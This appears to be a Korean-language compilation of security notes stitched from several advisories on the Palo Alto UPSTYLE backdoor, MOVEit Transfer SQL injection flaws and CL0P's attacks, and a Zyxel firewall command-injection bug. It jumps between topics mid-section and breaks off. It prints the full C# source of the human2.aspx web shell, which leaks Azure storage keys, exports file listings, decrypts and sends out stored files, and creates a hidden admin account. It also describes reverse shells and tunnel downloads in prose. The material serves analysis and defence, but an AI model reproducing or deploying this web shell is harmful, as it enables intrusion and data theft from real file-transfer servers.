> 공격 그룹 UTA0218이 사용자 정의 Python 백도어 UPSTYLE을 방화벽에 설치하려는 시도를 확인
> 해당 백도어를 통해 장치에 추가 명령을 실행
UPSTYLE 백도어
- update[.]py를 사용해 해당 백도어를 유포 > /usr/lib/python3.6/site-packages/system.pth 경로에 백도어 배포 > 백도어는 Python으로 작성되어 있으며, base64 encoded 되어있음
- 동작 과정 ① 공격자는 특정 패턴을 포함하며, 404 Error를 반환하는 요청 전송 ② Error log(/var/log/pan/sslvpn_ngx_error.log)에서 특정 패턴 검색 ③ 특정 패턴(명령)을 디코딩 및 실행 ④ 명령 실행 결과를 /var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css에 작성 ⑤ 공격자는 /bootstrap.min.css 경로로 요청 전송 ⑥ Error log에서 명령 삭제 및 15초 후 /bootstrap.min.css 원본으로 복구
※ 두 가지 변형이 확인되었으나, 동작 과정에서 큰 차이는 보이지 않음
- 익스플로잇에 성공한 후 공격을 위한 추가 툴을 다운로드
> patch 파일의 내용을 지속적으로 가져와 실행하여 지속성 유지
> patch 파일이 실행되면 policy 파일을 다운로드 및 실행하며, 총 6개의 policy 파일을 확인
> 이후 공격자는 Chrome 및 Edge 로그인 데이터, 쿠키, PC 정보, 자격 증명 정보 등을 탈취
구분
설명
patch
- update.cron 파일 존재 여부 확인 > 없을 경우 파일을 생성 및 실행하여 cron 작업을 설정 > policy 파일을 다운로드하고, 60초마다 bash를 통해 실행
- 공격자는 추가 공격을 위해 수동으로 policy 파일을 작성 > C2 서버에 대한 접근 제어 목록을 수동으로 관리하는 것으로 확인
policy v1
- python으로 작성된 on-line 리버스 셸
policy v2
- 공격 명령 실행 결과가 포함된 CSS 파일을제거 - 방화벽 장치의 설정을 새 파일에 복사하여 CSS 파일에 장치의 호스트 이름을 저장 > 해당 파일은 공격자가 접근 가능하도록 외부에서 액세스 가능한 디렉터리에 저장
policy v3
- 이전 단계에서 생성된 CSS 파일을 제거하는 데 사용
policy v4
- GOST 터널링 다운로드 및 실행하여, SOCKS5과 RTCP 터널 설정 시도
policy v5
- v4의 수정된 버전으로, Base64 인코딩 형식으로 GOST 터널링 다운로드
policy v6
- SSH를 통해 작동하는 오픈 소스 리버스 셸을 다운로드 및 실행하는 명령이 포함
2.2 취약점 분석 [3]
- send_file()는 서버에 파일을 업로드하기 위해 curl_cmd 문자열을 구성한 후 pansys() 호출 및 curl_cmd 실행
> pansys() 호출시 shell 변수를 True로 설정하여 셸 기능에 액세스할 수 있는 것으로 판단됨
- SESSID 쿠키에 설정된 값을 /tmp/sslvpn 경로에 session_ 문자열을 붙여 저장
> SESSID 쿠키에 임의의 데이터를 전달할 경우 /tmp/sslvpn에 "session_임의의 데이터" 저장
> SESSID 쿠키에 디렉터리 이동 문자 (../)를 추가할 경우 "seesion_" 문자가 추가되지 않음
- 공격자는 MOVEit Transfer 앱에 조작된 페이로드를 전달하여, 최종적으로 MOVEit DB 컨텐츠의 수정 및 공개가 가능
영향받는 저번 - MOVEit Transfer 2023.0.x (15.0.x) - MOVEit Transfer 2022.1.x (14.1.x) - MOVEit Transfer 2022.0.x (14.0.x) - MOVEit Transfer 2021.1.x (13.1.x) - MOVEit Transfer 2021.0.x (13.0.x) - MOVEit Transfer 2020.1.x (12.1) - MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전 - MOVEit Cloud
- 구체적인 PoC는 확인되지 않으나 아르헨티나 보안 연구원 MCKSys이 PoC 화면 공개 [2]
> 관련 내용 Github 업로드 예정
- 현재 벤더사 홈페이를 통해 업데이트가제공됨 [3]
> 해당 패치는 CVE-2023-34362 관련 패치를 포함한 패치
취약한 버전
패치 버전
MOVEit Transfer 2023.0.x (15.0.x)
MOVEit Transfer 2023.0.2 (15.0.2)
MOVEit Transfer 2022.1.x (14.1.x)
MOVEit Transfer 2022.1.6 (14.1.6)
MOVEit Transfer 2022.0.x (14.0.x)
MOVEit Transfer 2022.0.5 (14.0.5)
MOVEit Transfer 2021.1.x (13.1.x)
MOVEit Transfer 2021.1.5 (13.1.5)
MOVEit Transfer 2021.0.x (13.0.x)
MOVEit Transfer 2021.0.7 (13.0.7)
MOVEit Transfer 2020.1.x (12.1)
Progress 웹사이트 참고 [4]
MOVEit Transfer 2020.0.x (12.0) 및 이전 버전
가능한 상위 버전 [5]
MOVEit Cloud
14.1.6.97 또는 14.0.5.45 테스트버전: 15.0.2.39
2.2 CVE-2023-35708
- 취약한 버전의 MOVEit Transfer에서 발생하는SQL Injection 취약점
- 공격자는 권한 상승 및 이후 추가적인 익스플로잇이 가능해짐
- 구체적인 PoC는 확인되지 않음
영향받는 버전 - MOVEit Transfer 2023.0.x (15.0.x) - MOVEit Transfer 2022.1.x (14.1.x) - MOVEit Transfer 2022.0.x (14.0.x) - MOVEit Transfer 2021.1.x (13.1.x) - MOVEit Transfer 2021.0.x (13.0.x) - MOVEit Transfer 2020.1.x (12.1) - MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전 - MOVEit Cloud
- 중요한 데이터의 안전한 협업 및 자동화된 파일 전송기능을 제공하는 MFT(Managed File Transfer) 소프트웨어
2. 취약점
- 취약한 버전의 MOVEit Transfer에서 발생하는 SQL Injection 취약점
- 해당 취약점을 악용해 웹쉘 업로드가 가능하며, 웹쉘을 통해 DB 조작, 정보 열람, 파일 다운로드 등 악성행위가 가능함
- MOVEit Transfer를 사용하는 기업은 전 세계 수천개가 넘으며, 이 중에는 BBC, 영국항공, 노바스코티아 주 정부가 포함되어 있음
- 현재 관련된 PoC 등은 확인되지 않으나, Huntress에서 관련 영상 공개 [3]
> 보안 업체가 Horizon3ai와 Rapid7가 각각 CVE-2023-34362의 익스플로잇 방법을 개발해 발표 [16][17][18]
영향받는 버전 - MOVEit Transfer 2023.0.0 (15.0) - MOVEit Transfer 2022.1.x (14.1) - MOVEit Transfer 2022.0.x (14.0) - MOVEit Transfer 2021.1.x (13.1) - MOVEit Transfer 2021.0.x (13.0) - MOVEit Transfer 2020.1.x (12.1) - MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전 - MOVEit Cloud
- 23.06.10 현재 인터넷에 노출된 MOVEit Transfer 인스턴스는 약 2,500개 [4]
- GreyNoise에서는 CVE-2023-34362 관련 스캐너를 공개 [5]
2.1 CL0P 랜섬웨어 그룹 [6]
- MS에서 2023.06.02 CL0P 랜섬웨어 그룹의 소행으라고 밝혔으며, 06.05 CL0P이 블로그에 관련 성명을 게시
> 보안 외신 SC Media에 따르면 CL0P 랜섬웨어 그룹은 2021년부터 연구하였고, 그 기간 동안 여러 기업들을 해당 취약점을 이용해 침해
- 여러 보안 기업에서 분석한 결과 공격 흐름은 다음과 같음
① SQL Injection 취약점 악용
> SQL Injection 취약점을 이용해 웹쉘 human2.aspx 업로드
② 웹쉘 통신 및 악성 행위 수행 [7]
> "X-siLock-Comment" 헤더를 통해 웹쉘과 통신
헤더
옵션
설명
X-siLock-Step1
-1
- AppendHeader 응답 헤더를 통해Azure 정보 유출 - MOVEit에 존재하는 모든 파일, 파일 소유자, 파일 사이즈 등의 정보를GZIP으로 압축하여 반환
-2
-users 데이터베이스에서 RealName이 Health Check Service인 사용자 삭제
X-siLock-Step2 ("folderid"값지정)
특정 값 지정
-해당 값과 fileid값(X-siLock-Step3)이 지정 되었을 경우해당 값으로 설정된 파일을 검색하고 GZIP으로 압축하여 반환
NULL
-해당 값과 fileid 값(X-siLock-Step3)이 지정되지 않을 경우(null) 권한 수준이 30인 기존 계정 식별을 시도하고, 그렇지 않을 경우 user 데이터베이스에 새로운 Health Check Service 관리용 사용자를 추가
X-siLock-Step3 ("fileid" 값 지정)
특정 값 지정
-해당 값과 folderid값(X-siLock-Step2)이 지정 되었을 경우해당 값으로 설정된 파일을 검색하고 GZIP으로 압축하여 반환
NULL
- 해당 값과 folderid값(X-siLock-Step2)이 지정되지 않을 경우(null) 권한 수준이 30인 기존 계정 식별을 시도하고, 그렇지 않을 경우 user 데이터베이스에 새로운 Health Check Service 관리용 사용자를 추가
<%@ Page Language="C#" %>
<%@ Import Namespace="MOVEit.DMZ.ClassLib" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Infrastructure.Data" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Files" %>
<%@ Import Namespace="MOVEit.DMZ.Cryptography.Contracts" %>
<%@ Import Namespace="MOVEit.DMZ.Core.Cryptography" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.FileSystem" %>
<%@ Import Namespace="MOVEit.DMZ.Core" %>
<%@ Import Namespace="MOVEit.DMZ.Core.Data" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Users" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Users.Enum" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Users" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<script runat="server">
private Object connectDB() {
var MySQLConnect = new DbConn(SystemSettings.DatabaseSettings());
bool flag = false;
string text = null;
flag = MySQLConnect.Connect();
if (!flag) {
return text;
}
return MySQLConnect;
}
private Random random = new Random();
public string RandomString(int length) {
const string chars = "abcdefghijklmnopqrstuvwxyz0123456789";
return new string(Enumerable.Repeat(chars, length).Select(s => s[random.Next(s.Length)]).ToArray());
}
protected void Page_load(object sender, EventArgs e) {
var pass = Request.Headers["X-siLock-Comment"];
if (!String.Equals(pass, "REDACTEDREDACTEDREDACTEDREDACTED")) {
Response.StatusCode = 404;
return;
}
Response.AppendHeader("X-siLock-Comment", "comment");
var instid = Request.Headers["X-siLock-Step1"];
string x = null;
DbConn MySQLConnect = null;
var r = connectDB();
if (r is String) {
Response.Write("OpenConn: Could not connect to DB: " + r);
return;
}
try {
MySQLConnect = (DbConn) r;
if (int.Parse(instid) == -1) {
string azureAccout = SystemSettings.AzureBlobStorageAccount;
string azureBlobKey = SystemSettings.AzureBlobKey;
string azureBlobContainer = SystemSettings.AzureBlobContainer;
Response.AppendHeader("AzureBlobStorageAccount", azureAccout);
Response.AppendHeader("AzureBlobKey", azureBlobKey);
Response.AppendHeader("AzureBlobContainer", azureBlobContainer);
var query = "select f.id, f.instid, f.folderid, filesize, f.Name as Name, u.LoginName as uploader, fr.FolderPath , fr.name as fname from folders fr, files f left join users u on f.UploadUsername = u.Username where f.FolderID = fr.ID";
string reStr = "ID,InstID,FolderID,FileSize,Name,Uploader,FolderPath,FolderName\n";
var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
if (!set.EOF) {
while (!set.EOF) {
reStr += String.Format("{0},{1},{2},{3},{4},{5},{6},{7}\n", set["ID"].Value, set["InstID"].Value, set["FolderID"].Value, set["FileSize"].Value, set["Name"].Value, set["uploader"].Value, set["FolderPath"].Value, set["fname"].Value);
set.MoveNext();
}
}
reStr += "----------------------------------\nFolderID,InstID,FolderName,Owner,FolderPath\n";
String query1 = "select ID, f.instID, name, u.LoginName as owner, FolderPath from folders f left join users u on f.owner = u.Username";
set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
if (!set.EOF) {
while (!set.EOF) {
reStr += String.Format("{0},{1},{2},{3},{4}\n", set["id"].Value, set["instID"].Value, set["name"].Value, set["owner"].Value, set["FolderPath"].Value);
set.MoveNext();
}
}
reStr += "----------------------------------\nInstID,InstName,ShortName\n";
query1 = "select id, name, shortname from institutions";
set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
if (!set.EOF) {
while (!set.EOF) {
reStr += String.Format("{0},{1},{2}\n", set["ID"].Value, set["name"].Value, set["ShortName"].Value);
set.MoveNext();
}
}
using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) {
using(var writer = new StreamWriter(gzipStream, Encoding.UTF8)) {
writer.Write(reStr);
}
}
} else if (int.Parse(instid) == -2) {
var query = String.Format("Delete FROM users WHERE RealName='Health Check Service'");
new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
} else {
var fileid = Request.Headers["X-siLock-Step3"];
var folderid = Request.Headers["X-siLock-Step2"];
if (fileid == null && folderid == null) {
SessionIDManager Manager = new SessionIDManager();
string NewID = Manager.CreateSessionID(Context);
bool redirected = false;
bool IsAdded = false;
Manager.SaveSessionID(Context, NewID, out redirected, out IsAdded);
string username = "";
var query = String.Format("SELECT Username FROM users WHERE InstID={0} AND Permission=30 AND Status='active' and Deleted=0", int.Parse(instid));
var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
var query1 = "";
if (!set.EOF) {
username = (String) set["Username"].Value;
} else {
username = RandomString(16);
query1 += String.Format("INSERT INTO users (Username, LoginName, InstID, Permission, RealName, CreateStamp, CreateUsername, HomeFolder, LastLoginStamp, PasswordChangeStamp) values ('{0}','{1}',{2},{3},'{4}', CURRENT_TIMESTAMP,'Automation',(select id from folders where instID=0 and FolderPath='/'), CURRENT_TIMESTAMP, CURRENT_TIMESTAMP);", username, "Health Check Service", int.Parse(instid), 30, "Health Check Service", "Automation", "Services");
}
query1 += String.Format("insert into activesessions (SessionID, Username, LastTouch, Timeout, IPAddress) VALUES ('{0}','{1}',CURRENT_TIMESTAMP, 9999, '127.0.0.1')", NewID, username);
new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
} else {
DataFilePath dataFilePath = new DataFilePath(int.Parse(instid), int.Parse(folderid), fileid);
SILGlobals siGlobs = new SILGlobals();
siGlobs.FileSystemFactory.Create();
EncryptedStream st = Encryption.OpenFileForDecryption(dataFilePath, siGlobs.FileSystemFactory.Create());
Response.ContentType = "application/octet-stream";
Response.AppendHeader("Content-Disposition", String.Format("attachment; filename={0}", fileid));
using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) {
st.CopyTo(gzipStream);
}
}
}
} catch (Exception) {
Response.StatusCode = 404;
return;
} finally {
MySQLConnect.Disconnect();
}
return;
}
</script>
- 시나리오를 기반으로 침해를 테스트한 시스템의 로그를 검토한 결과 해당 공격과 관련된 로그는 다음과 유사할 것으로 판단 됨
- 취약한 Zyxel 방화벽의 관리 HTTP 인터페이스(인터넷에 노출된 경우)를 통해 OS 명령을 실행할 수 있는 취약점
영향받는 제품 ① USG FLEX 100(W), 200, 500, 700 – 펌웨어: ZLD V5.00 ~ ZLD V5.21 패치 1 ② USG FLEX 50(W) / USG20(W)-VPN – 펌웨어: ZLD V5.10 ~ ZLD V5.21 패치 1 ③ ATP 시리즈 – 펌웨어: ZLD V5.10 ~ ZLD V5.21 패치 1 ④ VPN 시리즈 – 펌웨어: ZLD V4.60 ~ ZLD V5.21 패치 1 ※ 이러한 제품은 일반적으로 VPN, SSL 검사, 침입 방지, 이메일 보안 및 웹 필터링을 위해 소규모 지점 및 기업 본사에서 사용
2.1 분석
- 해당 취약점은 /ztp/cgi-bin/handler URI를 통해 악용되며, 취약한 기능은 setWanPortSt 명령과 관련